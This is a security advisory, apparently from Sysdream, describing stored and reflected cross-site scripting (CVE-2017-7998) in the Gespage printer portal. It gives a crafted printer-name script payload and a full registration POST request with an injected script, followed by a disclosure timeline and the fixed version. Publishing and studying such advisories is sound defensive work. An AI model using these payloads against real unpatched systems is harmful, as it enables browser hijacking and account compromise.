Description

Gespage is web solution providing a printer portal. Official Website: http://www.gespage.com/

The web application does not properly filter several parameters sent by users, allowing XSS code injection. These vulnerabilities allow attackers to inject code inside the client web browser, such as malicious scripts in Javascript. Exploitation leads to a full takeover of the web browser and potentially of the operating system.

CVE ID: CVE-2017-7998

Access Vector: remote

Security Risk: high

Vulnerability: CWE-79

CVSS Base Score: 8.6

CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Proof of Concept 1 (stored XSS)

From the admin panel, it is possible to add a printer with a crafted name:

"><script>alert("printer xss")</script>

If an authenticated user loads the "My Jobs" ("https://URL:7181/gespage/users/prnow.jsp") page, his browser processes the Javascript payload, triggering the "printer xss" pop-up message.

Proof of Concept 2 (reflected XSS)

From the registration page, it is possible to inject malicious web code inside all parameters. The POST request looks like the following:

POST /gespage/webapp/users/user_reg.jsp HTTP/1.1
Host: IP:7180
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://IP:7180/gespage/webapp/users/user_reg.jsp
Cookie: JSESSIONID=YOUR_COOKIE_HERE
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 129

New_User=New&username=test"><script>alert(1)</script>&email=test%40test.fr&passwd=testtest&repasswd=testtest&fullname=test&accept_term=accept&OK=Enregistrer

Timeline (dd/mm/yyyy)

  • 06/03/2017 : Initial discovery
  • 13/03/2017 : First contact attempt (Web form)
  • 21/04/2017 : Second contact attempt (public e-mail address)
  • 23/06/2017 : Phone call and successful e-mail contact
  • 23/06/2017 : Technical details sent to the editor
  • 20/07/2017 : Follow-up e-mail from Sysdream
  • 27/07/2017 : Reply from Gespage: fix planned for major release 7.5.0 in late September
  • 17/09/2017 : Informing the editor that we would publish in October
  • 3/10/2017 : Gespage informs us that a patch was included in version 7.4.9 as well
  • 02/01/2018 : Release of the advisory

Fixes

Upgrade to Gespage 7.4.9 or above.

Affected versions

  • Version <= 7.3.2

Credits

  • Mickael KARATEKIN <m.karatekin -at- sysdream -dot- com>